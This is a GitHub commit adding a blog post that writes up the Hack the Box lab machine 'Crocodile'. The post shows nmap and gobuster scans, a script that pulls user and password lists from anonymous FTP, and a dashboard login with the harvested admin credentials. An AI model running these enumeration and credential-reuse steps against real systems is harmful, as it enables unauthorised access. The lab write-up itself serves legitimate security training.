Skip to content

Commit fe66e42

Browse files
author
funcsec
committed
Add post on htb - crocodile
1 parent c5e2d86 commit fe66e42

3 files changed

Lines changed: 198 additions & 0 deletions

File tree

‎content/post/20220123225239-crocodile_on_hack_the_box_write_up.md‎

Lines changed: 198 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,198 @@
1+
+++
2+
title = "Crocodile on Hack the Box Write-up"
3+
author = ["funcsec"]
4+
date = 2022-01-23
5+
publishDate = 2022-01-23
6+
lastmod = 2022-01-23T23:17:22-08:00
7+
tags = ["linux", "ftp", "gobuster"]
8+
categories = ["writeup", "redteam"]
9+
draft = false
10+
toc = "true +"
11+
omit_header_text = "+"
12+
background_color_class = "bg-black-60"
13+
description = "Write-up on Crocodile from Hack the Box"
14+
featured_image = "images/george-shaw_st-domingo-crocodile.jpg"
15+
images = ["images/george-shaw_st-domingo-crocodile.jpg"]
16+
+++
17+
18+
Sometimes I like these quick, single vulnerability boxes because I can work on the speed of reporting.
19+
Find the flag, then go back and answer the questions required to submit the flag.
20+
Plus add a couple notes and modifications to the toolset in the notes, like the different wordlist for enumeration `http`.
21+
22+
---
23+
24+
25+
## Executive Summary {#executive-summary}
26+
27+
The target machine suffered from broken access control vulnerability that allow for the harvesting of active user credials from FTP.
28+
Those same credentials could be used to login to a restriced part of the web application.
29+
30+
31+
## Attack Narrative {#attack-narrative}
32+
33+
First, to make attacking the box easier, the ip address was set in the `/etc/hosts` file of the attacking machine.
34+
This is to make the `crocodile` resolve to the IP, rather than continuing to put in the IP.
35+
The IP will be notated as `crocodile` or `$ip` moving forward.
36+
37+
```bash
38+
nmap -sV -sC $ip
39+
```
40+
41+
```text
42+
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-24 00:29 EST
43+
Nmap scan report for crocodile (10.129.252.80)
44+
Host is up (0.084s latency).
45+
Not shown: 998 closed tcp ports (conn-refused)
46+
PORT STATE SERVICE VERSION
47+
21/tcp open ftp vsftpd 3.0.3
48+
| ftp-syst:
49+
| STAT:
50+
| FTP server status:
51+
| Connected to ::ffff:10.10.14.18
52+
| Logged in as ftp
53+
| TYPE: ASCII
54+
| No session bandwidth limit
55+
| Session timeout in seconds is 300
56+
| Control connection is plain text
57+
| Data connections will be plain text
58+
| At session startup, client count was 2
59+
| vsFTPd 3.0.3 - secure, fast, stable
60+
|_End of status
61+
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
62+
| -rw-r--r-- 1 ftp ftp 33 Jun 08 2021 allowed.userlist
63+
|_-rw-r--r-- 1 ftp ftp 62 Apr 20 2021 allowed.userlist.passwd
64+
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
65+
|_http-server-header: Apache/2.4.41 (Ubuntu)
66+
|_http-title: Smash - Bootstrap Business Template
67+
Service Info: OS: Unix
68+
69+
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
70+
Nmap done: 1 IP address (1 host up) scanned in 19.85 seconds
71+
```
72+
73+
The `nmap` scan indicated that there was an open port 21, typically used for the FTP service.
74+
With the `-sC` flag, `nmap` enumerates any files available on the FTP service that are available to the `Anonymous` user.
75+
Those accessable files were then downloaded.
76+
77+
```bash
78+
#!/bin/bash
79+
set -euo pipefail
80+
IP="$ip"
81+
PORT=21
82+
USER="anonymous"
83+
PASS="anonymous"
84+
85+
ftp -inv -P $PORT $IP <<EOF
86+
user $USER $PASS
87+
pass
88+
get allowed.userlist
89+
get allowed.userlist.passwd
90+
bye
91+
EOF
92+
echo "allowed.userlist ==============================="
93+
cat "allowed.userlist"
94+
echo "allowed.userlist.passwd ========================"
95+
cat "allowed.userlist.passwd"
96+
```
97+
98+
```text
99+
Connected to crocodile.
100+
220 (vsFTPd 3.0.3)
101+
230 Login successful.
102+
Remote system type is UNIX.
103+
Using binary mode to transfer files.
104+
Passive mode: off; fallback to active mode: off.
105+
local: allowed.userlist remote: allowed.userlist
106+
200 EPRT command successful. Consider using EPSV.
107+
150 Opening BINARY mode data connection for allowed.userlist (33 bytes).
108+
0% | | 0 0.00 KiB/s --:-- ETA100% |***********************************| 33 96.19 KiB/s 00:00 ETA
109+
226 Transfer complete.
110+
33 bytes received in 00:00 (0.38 KiB/s)
111+
local: allowed.userlist.passwd remote: allowed.userlist.passwd
112+
200 EPRT command successful. Consider using EPSV.
113+
150 Opening BINARY mode data connection for allowed.userlist.passwd (62 bytes).
114+
0% | | 0 0.00 KiB/s --:-- ETA100% |***********************************| 62 282.92 KiB/s 00:00 ETA
115+
226 Transfer complete.
116+
62 bytes received in 00:00 (0.73 KiB/s)
117+
221 Goodbye.
118+
allowed.userlist ===============================
119+
aron
120+
pwnmeow
121+
egotisticalsw
122+
admin
123+
allowed.userlist.passwd ========================
124+
root
125+
Supersecretpassword1
126+
@BaASD&9032123sADS
127+
rKXM59ESxesUFHAd
128+
```
129+
130+
It was possible that the credentials harvested here could be used to access another FTP user.
131+
The most intriguing were the admin credentials of `admin:rKXM59ESxesUFHAd`.
132+
133+
```text
134+
kali@kali-vm:~$ ftp -inv -P 21 crocodile
135+
Connected to crocodile.
136+
220 (vsFTPd 3.0.3)
137+
ftp> user admin rKXM59ESxesUFHAd
138+
530 This FTP server is anonymous only.
139+
Login failed.
140+
```
141+
142+
Unfortunately, this was not the case `FTP server is anonymous only`.
143+
The moving onto the next service on port 80.
144+
Beginning was to enumerate the http service on port 80 with `gobuster`.
145+
146+
```text
147+
kali@kali-vm:~$ gobuster dir -u http://crocodile:80 -w /usr/share/dirb/wordlists/common.txt
148+
149+
kali@kali-vm:~$ ===============================================================
150+
Gobuster v3.1.0
151+
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
152+
===============================================================
153+
[+] Url: http://crocodile:80
154+
[+] Method: GET
155+
[+] Threads: 10
156+
[+] Wordlist: /usr/share/dirb/wordlists/common.txt
157+
[+] Negative Status codes: 404
158+
[+] User Agent: gobuster/3.1.0
159+
[+] Timeout: 10s
160+
===============================================================
161+
2022/01/24 00:50:50 Starting gobuster in directory enumeration mode
162+
===============================================================
163+
/.htpasswd (Status: 403) [Size: 274]
164+
/.hta (Status: 403) [Size: 274]
165+
/.htaccess (Status: 403) [Size: 274]
166+
/assets (Status: 301) [Size: 307] [--> http://crocodile/assets/]
167+
/css (Status: 301) [Size: 304] [--> http://crocodile/css/]
168+
/dashboard (Status: 301) [Size: 310] [--> http://crocodile/dashboard/]
169+
/fonts (Status: 301) [Size: 306] [--> http://crocodile/fonts/]
170+
/index.html (Status: 200) [Size: 58565]
171+
/js (Status: 301) [Size: 303] [--> http://crocodile/js/]
172+
/server-status (Status: 403) [Size: 274]
173+
174+
===============================================================
175+
2022/01/24 00:51:30 Finished
176+
===============================================================
177+
```
178+
179+
The most interesting result was the page `/dashboad/` which contained a login page.
180+
181+
{{< figure src="/ox-hugo/crocodile_login.php.png" >}}
182+
183+
Obviously the next step was to try the admin credentials harvested from the FTP service.
184+
Trying `admin:rKXM59ESxesUFHAd` was successful!
185+
186+
The flag was displayed as the banner of the dashboard, the following is the HTML source.
187+
188+
```html
189+
<h1 class="h3 mb-0 text-gray-800">Here is your flag: [[ REDACTED ]]</h1>
190+
```
191+
192+
The flag was found. It was `HTB{[[ REDACTED ]]}`.
193+
194+
---
195+
196+
Fun and fast single flag exercise!
197+
The next couple will all come from Proving Grounds.
198+
Not sure if I like "Attack Narritive" better than "Methodology".

‎static/images/george-shaw_st-domingo-crocodile.jpg‎

469 KB
Loading

‎static/ox-hugo/crocodile_login.php.png‎

25.3 KB
Loading

0 commit comments

Comments
 (0)